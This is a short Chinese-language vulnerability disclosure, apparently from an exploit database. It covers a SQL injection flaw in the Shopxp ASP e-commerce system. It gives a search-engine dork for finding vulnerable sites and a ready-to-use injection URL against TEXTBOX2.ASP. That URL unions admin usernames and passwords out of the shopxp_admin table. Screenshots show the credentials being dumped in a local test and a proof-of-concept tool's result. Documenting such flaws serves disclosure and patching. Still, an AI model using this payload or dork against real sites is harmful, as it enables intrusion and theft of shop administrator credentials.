### 0x01 框架概述
Shopxp网上购物系统是一个经过完善设计的经典商城购物管理系统,适用于各种服务器环境的高效网上购物网站建设解决方案。Shopxp 网店系统具有丰富的 web 应用程序设计经验,尤其在购物系统产品及相关领域,经过长期创新性开发,掌握了一整套从算法,数据结构到产品安全性方面的领先技术,使得shopxp 商城系统无论在稳定性、负载能力、安全保障等方面都居于国内外同类产品领先地位。
开发语言:ASP
软件语言:简体中文
数据库:Access、Mssql
关键字:inurl:shopxp_news.asp
![](https://images.seebug.org/contribute/00bcdc23-737c-4b9b-8989-14dcb9680f0e-2015-12-30 14_26_04.jpg)
### 0x02 漏洞利用
注入代码:TEXTBOX2.ASP?action=modify&news%69d=122%20and%201=2%20union%20select%201,2,admin%2b';;!!;;'%2bpassword%2b';;!!;;',4,5,6,7%20from%20shopxp_admin
爆出用户名和密码
本地环境示意如下:
![](https://images.seebug.org/contribute/07279d75-4031-4f56-80f1-3d3b2ff19263-2015-12-30 14_11_56.jpg)
利用payload爆出用户名密码如下
![](https://images.seebug.org/contribute/e7be64ec-5b7a-49e7-bd94-fa9d7dda76fc-2015-12-30 14_11_42.jpg)
Pocsuite证明截图如下
![](https://images.seebug.org/contribute/85496a2b-49dc-48ab-91e9-6853d88890e8-2015-12-30 14_09_50.jpg)
### 0x03 参考链接
http://www.myhack58.com/Article/html/3/62/2012/34043.htm
暂无评论